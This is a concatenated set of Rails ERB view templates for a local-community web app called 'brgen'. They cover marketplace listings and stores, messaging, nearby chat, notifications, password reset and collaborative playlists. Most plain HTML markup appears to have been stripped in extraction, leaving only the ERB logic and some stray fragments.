  \n\n      &lt;%= form_with model: @order, url: marketplace_listing_orders_path(@listing) do |f| %&gt;\n        \n&lt;%= f.text_area :message, placeholder: \"Message to seller (optional)\", rows: 3 %&gt;\n        \n&lt;%= f.submit \"Send offer\", class: \"btn btn-primary\" %&gt;\n      &lt;% end %&gt;\n    \n  \n&lt;% end %&gt;\n\n&lt;% if authenticated? &amp;&amp; Current.user == @listing.user %&gt;\n  \n\n    \nSeller dashboard\n    \n\n      &lt;%= pluralize(@listing.views_count.to_i, \"view\") %&gt;\n      &lt;%= pluralize(@listing.orders.size, \"offer\") %&gt;\n      &lt;%= pluralize(@listing.favorites.size, \"save\") %&gt;\n      &lt;%= @listing.status %&gt;\n    \n  \n\n  \n\n    \nOffers\n    &lt;% if @listing.orders.any? %&gt;\n      &lt;% @listing.orders.includes(:buyer).each do |order| %&gt;\n        \n\n          &lt;%= order.buyer.email_address.split(\"@\").first %&gt;\n           \u2014 &lt;%= order.status %&gt;\n          &lt;% if order.message.present? %&gt;\n&lt;%= order.message %&gt;&lt;% end %&gt;\n          &lt;% if order.status == \"pending\" %&gt;\n            \n\n              &lt;%= button_to \"Accept\", marketplace_listing_order_path(@listing, order), params: { accept: true }, method: :patch, class: \"btn btn-primary btn-sm\" %&gt;\n              &lt;%= button_to \"Decline\", marketplace_listing_order_path(@listing, order), params: { decline: true }, method: :patch, class: \"btn btn-ghost btn-sm\" %&gt;\n            \n          &lt;% end %&gt;\n        \n      &lt;% end %&gt;\n    &lt;% else %&gt;\n      \nNo offers yet.\n    &lt;% end %&gt;\n    &lt;%= button_to \"Remove listing\", marketplace_listing_path(@listing), method: :delete, class: \"btn btn-danger btn-sm\", style: \"margin:16px\" %&gt;\n  \n&lt;% end %&gt;\n```\n\n## `rails/brgen/app/views/marketplace/saved_searches/index.html.erb`\n```erb\n&lt;% content_for :title, \"Saved searches\" %&gt;\n\n\n\n  \n\n    \nMarketplace alerts\n    \nSaved searches\n  \n  &lt;%= link_to \"Browse\", marketplace_listings_path, class: \"btn btn-ghost\" %&gt;\n\n\n&lt;% if @saved_searches.any? %&gt;\n  &lt;% @saved_searches.each do |saved_search| %&gt;\n    \n\n      \n&lt;%= saved_search.title %&gt;\n      \n\n        &lt;%= saved_search.query.presence || \"Any query\" %&gt;\n        &lt;% if saved_search.category %&gt; \u00b7 &lt;%= saved_search.category.name %&gt;&lt;% end %&gt;\n        &lt;% if saved_search.location.present? %&gt; \u00b7 &lt;%= saved_search.location %&gt;&lt;% end %&gt;\n        &lt;% if saved_search.notify? %&gt; \u00b7 alerts on&lt;% end %&gt;\n      \n      \n\n        &lt;%= link_to \"Run\", marketplace_listings_path(q: saved_search.query, category_id: saved_search.category_id), class: \"btn btn-sm\" %&gt;\n        &lt;%= button_to \"Delete\", marketplace_saved_search_path(saved_search), method: :delete, class: \"btn btn-ghost btn-sm\" %&gt;\n      \n    \n  &lt;% end %&gt;\n&lt;% else %&gt;\n  \n\nNo saved searches. Search the marketplace, then save the search.\n&lt;% end %&gt;\n```\n\n## `rails/brgen/app/views/marketplace/stores/_form.html.erb`\n```erb\n&lt;%= form_with model: [:marketplace, store], url: store.persisted? ? marketplace_shop_path(store.slug) : marketplace_shops_path do |form| %&gt;\n  &lt;% if store.errors.any? %&gt;\n    &lt;%= tag.section role: \"alert\" do %&gt;\n      &lt;%= tag.h2 t(\"shared.errors\", default: \"Please review the form\") %&gt;\n      &lt;%= tag.ul do %&gt;\n        &lt;% store.errors.full_messages.each do |message| %&gt;\n          &lt;%= tag.li message %&gt;\n        &lt;% end %&gt;\n      &lt;% end %&gt;\n    &lt;% end %&gt;\n  &lt;% end %&gt;\n\n  &lt;%= tag.fieldset do %&gt;\n    &lt;%= form.label :name %&gt;\n    &lt;%= form.text_field :name, required: true %&gt;\n  &lt;% end %&gt;\n\n  &lt;%= tag.fieldset do %&gt;\n    &lt;%= form.label :vertical %&gt;\n    &lt;%= form.select :vertical, Marketplace::Store::VERTICALS.map { |vertical| [vertical.humanize, vertical] }, include_blank: true %&gt;\n  &lt;% end %&gt;\n\n  &lt;%= tag.fieldset do %&gt;\n    &lt;%= form.label :description %&gt;\n    &lt;%= form.text_area :description, rows: 5, data: { controller: \"textarea-autogrow\" } %&gt;\n  &lt;% end %&gt;\n\n  &lt;%= form.submit %&gt;\n&lt;% end %&gt;\n```\n\n## `rails/brgen/app/views/marketplace/stores/index.html.erb`\n```erb\n&lt;% content_for :title, t(\"marketplace.stores.title\", default: \"Stores\") %&gt;\n\n&lt;%= tag.section class: \"marketplace-stores\" do %&gt;\n  &lt;%= tag.header do %&gt;\n    &lt;%= tag.h1 t(\"marketplace.stores.title\", default: \"Stores\") %&gt;\n    &lt;%= link_to t(\"marketplace.stores.open\", default: \"Open a store\"), new_marketplace_shop_path %&gt;\n  &lt;% end %&gt;\n\n  &lt;%= tag.nav aria: { label: t(\"marketplace.verticals\", default: \"Store categories\") } do %&gt;\n    &lt;% Marketplace::Store::VERTICALS.each do |vertical| %&gt;\n      &lt;%= link_to vertical.humanize, marketplace_shops_path(vertical: vertical) %&gt;\n    &lt;% end %&gt;\n  &lt;% end %&gt;\n\n  &lt;%= tag.div class: \"store-grid\" do %&gt;\n    &lt;% @stores.each do |store| %&gt;\n      &lt;%= tag.article class: \"store-card\" do %&gt;\n        &lt;%= tag.h2 link_to(store.name, marketplace_shop_path(store.slug)) %&gt;\n        &lt;%= tag.p store.vertical&amp;.humanize if store.vertical.present? %&gt;\n        &lt;%= tag.p store.description if store.description.present? %&gt;\n      &lt;% end %&gt;\n    &lt;% end %&gt;\n  &lt;% end %&gt;\n&lt;% end %&gt;\n```\n\n## `rails/brgen/app/views/marketplace/stores/new.html.erb`\n```erb\n&lt;% content_for :title, t(\"marketplace.stores.new\", default: \"Open a store\") %&gt;\n\n&lt;%= tag.section class: \"store-form\" do %&gt;\n  &lt;%= tag.h1 t(\"marketplace.stores.new\", default: \"Open a store\") %&gt;\n  &lt;%= render \"form\", store: @store %&gt;\n&lt;% end %&gt;\n```\n\n## `rails/brgen/app/views/marketplace/stores/show.html.erb`\n```erb\n&lt;% content_for :title, @store.name %&gt;\n\n&lt;%= tag.section class: \"marketplace-store\" do %&gt;\n  &lt;%= tag.header do %&gt;\n    &lt;%= tag.h1 @store.name %&gt;\n    &lt;%= tag.p @store.vertical&amp;.humanize if @store.vertical.present? %&gt;\n    &lt;%= tag.p @store.description if @store.description.present? %&gt;\n  &lt;% end %&gt;\n\n  &lt;%= tag.div class: \"listing-grid\" do %&gt;\n    &lt;% @listings.each do |listing| %&gt;\n      &lt;%= tag.article class: \"listing-card\" do %&gt;\n        &lt;%= tag.h2 link_to(listing.title, marketplace_listing_path(listing)) %&gt;\n        &lt;%= tag.p listing.price_display %&gt;\n      &lt;% end %&gt;\n    &lt;% end %&gt;\n  &lt;% end %&gt;\n&lt;% end %&gt;\n```\n\n## `rails/brgen/app/views/messages/_message.html.erb`\n```erb\n&lt;%= turbo_frame_tag dom_id(message) do %&gt;\n\n\"&gt;\n  \n\n    &lt;%= message.sender.username %&gt;\n    &lt;%= time_ago_in_words(message.created_at) %&gt; ago\n  \n  \n&lt;%= message.content %&gt;\n  &lt;% if message.attachment.attached? %&gt;\n    &lt;% case message.message_type %&gt;\n    &lt;% when \"image\" %&gt;\n      &lt;%= image_tag message.attachment %&gt;\n    &lt;% when \"audio\" %&gt;\n      &lt;%= audio_tag message.attachment, controls: true %&gt;\n    &lt;% else %&gt;\n      &lt;%= link_to message.attachment.filename, message.attachment %&gt;\n    &lt;% end %&gt;\n  &lt;% end %&gt;\n\n&lt;% end %&gt;\n```\n\n## `rails/brgen/app/views/messages/create.turbo_stream.erb`\n```erb\n&lt;%= turbo_stream.replace \"new_message\" do %&gt;\n  &lt;%= form_with model: Message.new, url: conversation_messages_path(@conversation),\n                id: \"new_message\",\n                data: { turbo: true, controller: \"typing-input\", typing_input_url_value: conversation_typing_indicators_path(@conversation) } do |f| %&gt;\n    \n\n      &lt;%= f.text_area :content, rows: 3, placeholder: \"Send a message...\", data: { action: \"input-&gt;typing-input#ping\" } %&gt;\n    \n    &lt;%= f.hidden_field :message_type, value: \"text\" %&gt;\n    &lt;%= f.submit \"Send\", class: \"btn\" %&gt;\n  &lt;% end %&gt;\n&lt;% end %&gt;\n```\n\n## `rails/brgen/app/views/messages/new.html.erb`\n```erb\n\nNew message\n\n&lt;% if @message&amp;.errors&amp;.any? %&gt;\n  \n\n    &lt;% @message.errors.full_messages.each do |msg| %&gt;\n      \n&lt;%= msg %&gt;\n    &lt;% end %&gt;\n  \n&lt;% end %&gt;\n\n&lt;%= form_with model: @message, url: conversation_messages_path(@conversation), id: \"new_message\" do |f| %&gt;\n  \n&lt;%= f.text_area :content, rows: 4, placeholder: \"Message...\" %&gt;\n  &lt;%= f.hidden_field :message_type, value: \"text\" %&gt;\n  \n&lt;%= f.submit \"Send\" %&gt;\n&lt;% end %&gt;\n```\n\n## `rails/brgen/app/views/nearby/_alert.html.erb`\n```erb\n\n\n  \n\n    \n    &lt;%= handle %&gt; is nearby\n  \n  &lt;%= button_to \"Chat\", nearby_path, params: { user_id: user_id }, method: :post, class: \"btn btn-primary btn-sm nearby-alert-cta\" %&gt;\n  \u2715\n\n```\n\n## `rails/brgen/app/views/nearby/index.html.erb`\n```erb\n&lt;% content_for :title, \"Nearby\" %&gt;\n\n\n\nNearby\n\n&lt;% unless @located %&gt;\n  \n\n    \nShare your location\n    \nFind strangers within 2 km and chat anonymously. Your exact position is never shown.\n  \n&lt;% end %&gt;\n\n&lt;% if @located %&gt;\n  &lt;% if @nearby.any? %&gt;\n    &lt;% @nearby.each do |u| %&gt;\n      \n\n        \n\n          &lt;%= u.anon_handle %&gt;\n          \nnearby \u00b7 anonymous\n        \n        &lt;%= button_to \"Chat\", nearby_path, params: { user_id: u.id }, method: :post, class: \"btn btn-primary btn-sm\" %&gt;\n      \n    &lt;% end %&gt;\n  &lt;% else %&gt;\n    \n\nNo one nearby right now. Check back later.\n  &lt;% end %&gt;\n&lt;% else %&gt;\n  \n\nWaiting for your location\u2026\n&lt;% end %&gt;\n```\n\n## `rails/brgen/app/views/newsletter_mailer/weekly_deals.html.erb`\n```erb\n&lt;%= render layout: \"layouts/mailer\" do %&gt;\n  \nDeals in &lt;%= @city %&gt;\n  \nThis week's picks\n\n  &lt;% if @deals.any? %&gt;\n    &lt;% @deals.each do |deal| %&gt;\n      \n\n        \n          &lt;% if deal.image_url.present? %&gt;\n            \n              \n            \n          &lt;% end %&gt;\n          \n            \n&lt;%= deal.title %&gt;\n            \n&lt;%= deal.description %&gt;\n            &lt;% if deal.price.present? %&gt;\n              \n&lt;%= deal.price %&gt; &lt;%= deal.currency %&gt; \u00b7 &lt;%= deal.merchant %&gt;\n            &lt;% end %&gt;\n            View deal\n          \n        \n      \n    &lt;% end %&gt;\n  &lt;% else %&gt;\n    \nNo deals this week \u2014 check back next time.\n  &lt;% end %&gt;\n\n  \n\n  \n\n    You subscribed at brgen.no. &lt;%= link_to \"Unsubscribe\", @unsubscribe_url, style: \"color:#888\" %&gt; at any time.\n  \n&lt;% end %&gt;\n```\n\n## `rails/brgen/app/views/notifications/_notification.html.erb`\n```erb\n\n\"&gt;\n  \n&lt;%= notification.title %&gt;\n  &lt;%= time_ago_in_words(notification.created_at) %&gt; ago\n  &lt;% unless notification.read? %&gt;\n    &lt;%= button_to \"Mark read\", notification_path(notification), method: :patch, data: { turbo_stream: true } %&gt;\n  &lt;% end %&gt;\n\n```\n\n## `rails/brgen/app/views/notifications/index.html.erb`\n```erb\n&lt;% content_for :title, \"Notifications\" %&gt;\n\n\n\n  \n\n    \nBrgen inbox\n    \n\n      Notifications\n      &lt;% if @unread_count.to_i.positive? %&gt;\n        &lt;%= pluralize(@unread_count, \"unread\") %&gt;\n      &lt;% end %&gt;\n    \n  \n\n  &lt;% if @unread_count.to_i.positive? %&gt;\n    &lt;%= button_to \"Mark all read\", read_all_notifications_path, method: :patch, class: \"btn btn-primary\" %&gt;\n  &lt;% end %&gt;\n\n\n&lt;% if @notifications.any? %&gt;\n  &lt;% @notifications.each do |notification| %&gt;\n    \n\n      \n&lt;%= notification.title %&gt;\n      &lt;% if notification.body.present? %&gt;\n&lt;%= notification.body %&gt;&lt;% end %&gt;\n      \n&lt;%= time_ago_in_words(notification.created_at) %&gt; ago&lt;% if notification.read? %&gt; \u00b7 read&lt;% end %&gt;\n      &lt;% unless notification.read? %&gt;\n        &lt;%= button_to \"Mark as read\", notification_path(notification), method: :patch, class: \"btn btn-ghost btn-sm\" %&gt;\n      &lt;% end %&gt;\n    \n  &lt;% end %&gt;\n&lt;% else %&gt;\n  \n\nNo notifications. Offers, orders, and local updates will appear here.\n&lt;% end %&gt;\n```\n\n## `rails/brgen/app/views/notifications/read_all.turbo_stream.erb`\n```erb\n&lt;%= turbo_stream.update \"notifications\" do %&gt;\n  &lt;% @notifications.each do |n| %&gt;\n    &lt;%= render n %&gt;\n  &lt;% end %&gt;\n&lt;% end %&gt;\n```\n\n## `rails/brgen/app/views/notifications/update.turbo_stream.erb`\n```erb\n&lt;%= turbo_stream.replace dom_id(@notification) do %&gt;\n  &lt;%= render @notification %&gt;\n&lt;% end %&gt;\n```\n\n## `rails/brgen/app/views/passwords/edit.html.erb`\n```erb\n\nUpdate your password\n\n&lt;% if flash[:alert] %&gt;\n&lt;%= flash[:alert] %&gt;&lt;% end %&gt;\n\n&lt;%= form_with url: password_path(params[:token]), method: :put do |form| %&gt;\n  \n&lt;%= form.password_field :password, required: true, autocomplete: \"new-password\", placeholder: \"Enter new password\", maxlength: 72 %&gt;\n  \n&lt;%= form.password_field :password_confirmation, required: true, autocomplete: \"new-password\", placeholder: \"Repeat new password\", maxlength: 72 %&gt;\n  \n&lt;%= form.submit \"Save\" %&gt;\n&lt;% end %&gt;\n```\n\n## `rails/brgen/app/views/passwords/new.html.erb`\n```erb\n\nForgot your password?\n\n&lt;% if flash[:alert] %&gt;\n&lt;%= flash[:alert] %&gt;&lt;% end %&gt;\n\n&lt;%= form_with url: passwords_path do |form| %&gt;\n  \n&lt;%= form.email_field :email_address, required: true, autofocus: true, autocomplete: \"username\", placeholder: \"Enter your email address\", value: params[:email_address] %&gt;\n  \n&lt;%= form.submit \"Email reset instructions\" %&gt;\n&lt;% end %&gt;\n```\n\n## `rails/brgen/app/views/passwords_mailer/reset.html.erb`\n```erb\n\n\n  You can reset your password on\n  &lt;%= link_to \"this password reset page\", edit_password_url(@user.password_reset_token) %&gt;.\n\n  This link will expire in &lt;%= distance_of_time_in_words(0, @user.password_reset_token_expires_in) %&gt;.\n\n```\n\n## `rails/brgen/app/views/passwords_mailer/reset.text.erb`\n```erb\nYou can reset your password on\n&lt;%= edit_password_url(@user.password_reset_token) %&gt;\n\nThis link will expire in &lt;%= distance_of_time_in_words(0, @user.password_reset_token_expires_in) %&gt;.\n```\n\n## `rails/brgen/app/views/playlist/index.html.erb`\n```erb\n&lt;% content_for :title, \"Playlist\" %&gt;\n\n&lt;% unless authenticated? %&gt;\n  &lt;% content_for :splash do %&gt;\n    \n\n      \nBrgen Playlist\n      \nDiscover music from your city. Sets, tracks, local artists \u2014 city by city.\n      \n\n        create a set\n        add tracks\n        city trending\n        embeddable player\n      \n      \ntap anywhere to browse \u00b7 &lt;%= link_to \"sign in\", new_session_path, style: \"color:inherit\" %&gt; to create\n    \n  &lt;% end %&gt;\n&lt;% end %&gt;\n\n\n\n  \nPlaylist\n  &lt;%= link_to \"New set\", new_playlist_playlist_path, class: \"btn\" if authenticated? %&gt;\n\n\n\n\n  \nPlaylists\n  &lt;% @playlists.each do |playlist| %&gt;\n    \n\n      \n&lt;%= playlist[:name] %&gt;\n      \n&lt;%= playlist[:tracks] %&gt; tracks \u00b7 &lt;%= playlist[:genre] %&gt;\n    \n  &lt;% end %&gt;\n  &lt;% if @playlists.empty? %&gt;\n    \n\nNo playlists yet. &lt;%= authenticated? ? link_to(\"Create one\", new_playlist_playlist_path) : link_to(\"Sign in\", new_session_path) %&gt;.\n  &lt;% end %&gt;\n\n```\n\n## `rails/brgen/app/views/playlist/playlists/edit.html.erb`\n```erb\n&lt;% content_for :title, \"Edit playlist\" %&gt;\n\n\n\nEdit playlist\n\n\n\n  &lt;%= form_with model: @playlist, url: playlist_playlist_path(@playlist), method: :patch do |f| %&gt;\n    &lt;%= render \"shared/errors\", object: @playlist %&gt;\n    \n&lt;%= f.label :name %&gt;&lt;%= f.text_field :name %&gt;\n    \n&lt;%= f.label :description %&gt;&lt;%= f.text_area :description, rows: 3 %&gt;\n    \n&lt;%= f.check_box :public_access %&gt;&lt;%= f.label :public_access, \"Public\" %&gt;\n    \n&lt;%= f.check_box :collaborative %&gt;&lt;%= f.label :collaborative, \"Collaborative\" %&gt;\n    \n&lt;%= f.submit \"Save\", class: \"btn btn-primary\" %&gt;\n  &lt;% end %&gt;\n\n```\n\n## `rails/brgen/app/views/playlist/playlists/index.html.erb`\n```erb\n&lt;% content_for :title, \"Playlists\" %&gt;\n\n\n\n  \n\n    \nLocal music discovery\n    \nPlaylists\n  \n  &lt;%= link_to \"New playlist\", new_playlist_playlist_path, class: \"btn btn-primary btn-sm\" if authenticated? %&gt;\n\n\n&lt;% @playlists.each do |pl| %&gt;\n  \n\n    \n&lt;%= link_to pl.name, playlist_playlist_path(pl) %&gt;\n    \n&lt;%= pl.tracks_count %&gt; tracks \u00b7 &lt;%= pl.plays_count %&gt; plays \u00b7 &lt;%= pl.user.email_address.split(\"@\").first %&gt;\n  \n&lt;% end %&gt;\n&lt;%= @pagy.series_nav if @pagy.pages &gt; 1 %&gt;\n```\n\n## `rails/brgen/app/views/playlist/playlists/new.html.erb`\n```erb\n&lt;% content_for :title, \"New playlist\" %&gt;\n\n\n\nNew playlist\n\n\n\n  &lt;%= form_with model: @playlist, url: playlist_playlists_path do |f| %&gt;\n    &lt;%= render \"shared/errors\", object: @playlist %&gt;\n    \n&lt;%= f.label :name %&gt;&lt;%= f.text_field :name %&gt;\n    \n&lt;%= f.label :description %&gt;&lt;%= f.text_area :description, rows: 3 %&gt;\n    \n&lt;%= f.check_box :public_access %&gt;&lt;%= f.label :public_access, \"Public\" %&gt;\n    \n&lt;%= f.check_box :collaborative %&gt;&lt;%= f.label :collaborative, \"Collaborative\" %&gt;\n    \n&lt;%= f.submit \"Create\", class: \"btn btn-primary\" %&gt;\n  &lt;% end %&gt;\n\n```\n\n## `rails/brgen/app/views/playlist/playlists/show.html.erb`\n```erb\n&lt;% content_for :title, @playlist.name %&gt;\n\n\n\n  \n&lt;%= @playlist.name %&gt;\n  &lt;% if authenticated? &amp;&amp; (Current.user == @playlist.user || @playlist.collaborations.exists?(user: Current.user, role: %w[owner editor])) %&gt;\n    \n\n      &lt;%= link_to \"Edit\", edit_playlist_playlist_path(@playlist), class: \"btn btn-ghost btn-sm\" %&gt;\n      &lt;%= button_to \"Delete\", playlist_playlist_path(@playlist), method: :delete, data: { turbo_confirm: \"Delete?\" }, class: \"btn btn-danger btn-sm\" %&gt;\n    \n  &lt;% end %&gt;\n\n\n\n\n  \n&lt;%= @playlist.description %&gt;\n  \n&lt;%= @playlist.tracks_count %&gt; tracks \u00b7 &lt;%= @playlist.plays_count %&gt; plays\n  &lt;% if @playlist.collaborative? || @playlist.collaborations.any? %&gt;\n    \nCollaborative\n  &lt;% end %&gt;\n\n\n&lt;% if authenticated? %&gt;\n\n\n  \nCollaborators\n  &lt;% if @playlist.collaborations.any? %&gt;\n    &lt;% @playlist.collaborations.includes(:user).each do |c| %&gt;\n      &lt;%= c.user&amp;.username || c.user&amp;.email %&gt; (&lt;%= c.role %&gt;)\n      &lt;% if Current.user == @playlist.user || c.user == Current.user %&gt;\n        &lt;%= button_to \"Remove\", playlist_playlist_collaboration_path(@playlist, c), method: :delete, class: \"btn btn-ghost btn-sm\" %&gt;\n      &lt;% end %&gt;\n    &lt;% end %&gt;\n  &lt;% else %&gt;\n    \nNo collaborators yet.\n  &lt;% end %&gt;\n\n  &lt;% if Current.user == @playlist.user || @playlist.collaborations.exists?(user: Current.user, role: %w[owner editor]) %&gt;\n    \n\n      &lt;%= form_with url: playlist_playlist_collaborations_path(@playlist), method: :post do |f| %&gt;\n        \n\n          &lt;%= f.text_field :username, placeholder: \"username\", style: \"flex:1\" %&gt;\n          &lt;%= f.select :role, %w[editor viewer] %&gt;\n          &lt;%= f.submit \"Add collaborator\", class: \"btn btn-primary btn-sm\" %&gt;\n        \n      &lt;% end %&gt;\n    \n  &lt;% end %&gt;\n\n&lt;% end %&gt;\n\n&lt;% if authenticated? %&gt;\n\n\n  \nDilla sketches / beats\n  \nCollaborative beat patterns (pat/seq/aud/mix state). Edit in the dilla lab, paste JSON here to persist for the group.\n  &lt;% if @dilla_sketches.any? %&gt;\n    &lt;% @dilla_sketches.each do |sk| %&gt;\n      \n\n        &lt;%= sk.name %&gt; by &lt;%= sk.user&amp;.display_name || \"anon\" %&gt;\n        &lt;% if sk.lab_url.present? %&gt;\n          open in lab\n        &lt;% end %&gt;\n        &lt;% if authenticated? &amp;&amp; (Current.user == @playlist.user || @playlist.collaborations.exists?(user: Current.user, role: %w[owner editor])) %&gt;\n          &lt;%= button_to \"Remove\", playlist_playlist_dilla_sketch_path(@playlist, sk), method: :delete, class: \"btn btn-ghost btn-sm\" %&gt;\n        &lt;% end %&gt;\n      \n      &lt;% if sk.notes.present? %&gt;\n&lt;%= sk.notes %&gt;&lt;% end %&gt;\n    &lt;% end %&gt;\n  &lt;% else %&gt;\n    \nNo sketches yet. Create one by pasting state from dilla.html lab.\n  &lt;% end %&gt;\n\n  &lt;% if authenticated? &amp;&amp; (Current.user == @playlist.user || @playlist.collaborations.exists?(user: Current.user, role: %w[owner editor])) %&gt;\n    \n\n      &lt;%= form_with url: playlist_playlist_dilla_sketches_path(@playlist), scope: :playlist_dilla_sketch do |f| %&gt;\n        \n&lt;%= f.text_field :name, placeholder: \"Beat name (e.g. dusty flip)\", required: true %&gt;\n        \n&lt;%= f.text_area :state, placeholder: 'Paste JSON state from lab (e.g. {\"pat_\":{...},\"aud_\":{...},\"mix_\":{...}} or full from clipboard)', rows: 3 %&gt;\n        \n&lt;%= f.text_area :notes, placeholder: \"notes / instructions (optional)\", rows: 2 %&gt;\n        \n&lt;%= f.submit \"Save sketch for collab\", class: \"btn btn-primary btn-sm\" %&gt;\n      &lt;% end %&gt;\n    \n  &lt;% end %&gt;\n\n&lt;% end %&gt;\n\n&lt;% @tracks.each do |pt| %&gt;\n  \n\n    \n\n      &lt;%= pt.track.title %&gt; \u2014 &lt;%= pt.track.artist %&gt;\n       \u00b7 &lt;%= pt.track.duration_formatted %&gt;\n    \n    &lt;% if authenticated? &amp;&amp; (Current.user == pt.user || Current.user == @playlist.user || @playlist.collaborations.exists?(user: Current.user, role: %w[owner editor])) %&gt;\n      &lt;%= button_to \"Remove\", playlist_playlist_track_path(@playlist, pt), method: :delete, class: \"btn btn-ghost btn-sm\" %&gt;\n    &lt;% end %&gt;\n  \n&lt;% end %&gt;\n\n&lt;% if authenticated? &amp;&amp; (Current.user == @playlist.user || @playlist.collaborations.exists?(user: Current.user, role: %w[owner editor])) %&gt;\n  \n\n    \nAdd a track\n    \n\n      &lt;%= form_with url: playlist_playlist_tracks_path(@playlist) do |f| %&gt;\n        \n&lt;%= f.text_field :title, placeholder: \"Title\" %&gt;\n        \n&lt;%= f.text_field :artist, placeholder: \"Artist\" %&gt;\n        \n&lt;%= f.url_field :source_url, placeholder: \"URL (optional)\" %&gt;\n        \n&lt;%= f.submit \"Add\", class: \"btn btn-primary btn-sm\" %&gt;\n      &lt;% end %&gt;\n    \n  \n&lt;% end %&gt;\n\n&lt;% if authenticated? %&gt;\n\n\n  \nListening party\n  \nStart or join a real-time synced listening session with embedded player and chat.\n  &lt;%= button_to \"Start party\", \"#\", class: \"btn btn-primary btn-sm\", disabled: true %&gt;\n   (full cable sync + party model TODO in follow-up)\n\n&lt;% end %&gt;\n```\n\n## `rails/brgen/app/views/playlist/sets/_form.html.erb`\n```erb\n&lt;%= form_with model: [:playlist, @set] do |form| %&gt;\n  &lt;% if @set.errors.any? %&gt;\n    \n&lt;%= @set.errors.full_messages.to_sentence %&gt;\n  &lt;% end %&gt;\n\n  \n\n    &lt;%= form.label :name %&gt;\n    &lt;%= form.text_field :name, required: true %&gt;\n  \n\n  \n\n    &lt;%= form.label :description %&gt;\n    &lt;%= form.text_area :description, rows: 4 %&gt;\n  \n\n  \n\n    &lt;%= form.label :privacy %&gt;\n    &lt;%= form.select :privacy, Playlist::Set::PRIVACY_LEVELS.map { |level| [level.humanize, level] } %&gt;\n  \n\n  \n\n    &lt;%= form.label :collaborative %&gt;\n    &lt;%= form.check_box :collaborative %&gt;\n  \n\n  &lt;%= form.submit class: \"btn btn-primary btn-sm\" %&gt;\n&lt;% end %&gt;\n```\n\n## `rails/brgen/app/views/playlist/sets/edit.html.erb`\n```erb\n&lt;% content_for :title, \"Edit #{@set.name}\" %&gt;\n\n\n\n  \n\n    \nPlaylist set\n    \nEdit set\n  \n  &lt;%= link_to \"Back to set\", playlist_set_path(@set), class: \"btn btn-ghost btn-sm\" %&gt;\n\n\n&lt;%= render \"form\", set: @set %&gt;\n```\n\n## `rails/brgen/app/views/playlist/sets/index.html.erb`\n```erb\n&lt;% content_for :title, \"Sets\" %&gt;\n\n\n\n  \n\n    \nLocal audio collections\n    \nSets\n  \n  &lt;%= link_to \"New set\", new_playlist_set_path, class: \"btn btn-primary btn-sm\" if authenticated? %&gt;\n\n\n&lt;% if @sets.any? %&gt;\n  &lt;% @sets.each do |set| %&gt;\n    \n\n      \n&lt;%= link_to set.name, playlist_set_path(set) %&gt;\n      \n&lt;%= set.privacy.presence&amp;.humanize || \"Public\" %&gt; \u00b7 &lt;%= set.tracks.count %&gt; tracks \u00b7 &lt;%= set.formatted_duration %&gt;\n      &lt;% if set.description.present? %&gt;\n        \n&lt;%= set.description %&gt;\n      &lt;% end %&gt;\n    \n  &lt;% end %&gt;\n&lt;% else %&gt;\n  \n\nNo sets yet.\n&lt;% end %&gt;\n```\n\n## `rails/brgen/app/views/playlist/sets/new.html.erb`\n```erb\n&lt;% content_for :title, \"New set\" %&gt;\n\n\n\n  \n\n    \nPlaylist set\n    \nNew set\n  \n  &lt;%= link_to \"All sets\", playlist_sets_path, class: \"btn btn-ghost btn-sm\" %&gt;\n\n\n&lt;%= render \"form\", set: @set %&gt;\n```\n\n## `rails/brgen/app/views/playlist/sets/show.html.erb`\n```erb\n&lt;% content_for :title, @set.name %&gt;\n\n\n\n  \n\n    \nPlaylist set\n    \n&lt;%= @set.name %&gt;\n  \n  &lt;% if authenticated? &amp;&amp; (Current.user == @set.user || @set.collaborations.exists?(user: Current.user, role: %w[owner editor])) %&gt;\n    \n\n      &lt;%= link_to \"Edit\", edit_playlist_set_path(@set), class: \"btn btn-ghost btn-sm\" %&gt;\n      &lt;%= button_to \"Delete\", playlist_set_path(@set), method: :delete, data: { turbo_confirm: \"Delete?\" }, class: \"btn btn-danger btn-sm\" %&gt;\n    \n  &lt;% end %&gt;\n\n\n\n\n  &lt;% if @set.description.present? %&gt;\n    \n&lt;%= @set.description %&gt;\n  &lt;% end %&gt;\n  \n&lt;%= @set.privacy.presence&amp;.humanize || \"Public\" %&gt; \u00b7 &lt;%= @tracks.count %&gt; tracks \u00b7 &lt;%= @set.formatted_duration %&gt;\n  &lt;% if @set.collaborative? %&gt;\n    \nCollaborative\n  &lt;% end %&gt;\n\n\n&lt;% if authenticated? %&gt;\n\n\n  \nCollaborators\n  &lt;% if @set.collaborations.any? %&gt;\n    &lt;% @set.collaborations.includes(:user).each do |c| %&gt;\n      &lt;%= c.user&amp;.username || c.user&amp;.email %&gt; (&lt;%= c.role %&gt;)\n      &lt;% if Current.user == @set.user || c.user == Current.user %&gt;\n        &lt;%= button_to \"Remove\", playlist_set_collaboration_path(@set, c), method: :delete, class: \"btn btn-ghost btn-sm\" %&gt;\n      &lt;% end %&gt;\n    &lt;% end %&gt;\n  &lt;% else %&gt;\n    \nNo collaborators yet.\n  &lt;% end %&gt;\n\n  &lt;% if Current.user == @set.user || @set.collaborations.exists?(user: Current.user, role: %w[owner editor]) %&gt;\n    \n\n      &lt;%= form_with url: playlist_set_collaborations_path(@set), method: :post do |f| %&gt;\n        \n\n          &lt;%= f.text_field :username, placeholder: \"username\", style: \"flex:1\" %&gt;\n          &lt;%= f.select :role, %w[editor viewer] %&gt;\n          &lt;%= f.submit \"Add collaborator\", class: \"btn btn-primary btn-sm\" %&gt;\n        \n      &lt;% end %&gt;\n    \n  &lt;% end %&gt;\n\n&lt;% end %&gt;\n\n&lt;% if authenticated? %&gt;\n\n\n  \nDilla sketches / beats\n  \nCollaborative beat patterns (pat/seq/aud/mix state). Edit in the dilla lab, paste JSON here to persist for the group.\n  &lt;% if @dilla_sketches.any? %&gt;\n    &lt;% @dilla_sketches.each do |sk| %&gt;\n      \n\n        &lt;%= sk.name %&gt; by &lt;%= sk.user&amp;.display_name || \"anon\" %&gt;\n        &lt;% if sk.lab_url.present? %&gt;\n          open in lab\n        &lt;% end %&gt;\n        &lt;% if authenticated? &amp;&amp; (Current.user == @set.user || @set.collaborations.exists?(user: Current.user, role: %w[owner editor])) %&gt;\n          &lt;%= button_to \"Remove\", playlist_set_dilla_sketch_path(@set, sk), method: :delete, class: \"btn btn-ghost btn-sm\" %&gt;\n        &lt;% end %&gt;\n      \n      &lt;% if sk.notes.present? %&gt;\n&lt;%= sk.notes %&gt;&lt;% end %&gt;\n    &lt;% end %&gt;\n  &lt;% else %&gt;\n    \nNo sketches yet. Create one by pasting state from dilla.html lab.\n  &lt;% end %&gt;\n\n  